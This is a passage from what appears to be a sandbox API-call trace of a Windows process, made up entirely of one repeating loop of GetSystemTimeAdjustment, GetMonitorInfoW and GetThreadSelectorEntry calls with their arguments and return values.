lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.887] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.887] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.887] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.888] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.888] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.888] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.889] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.889] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.889] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 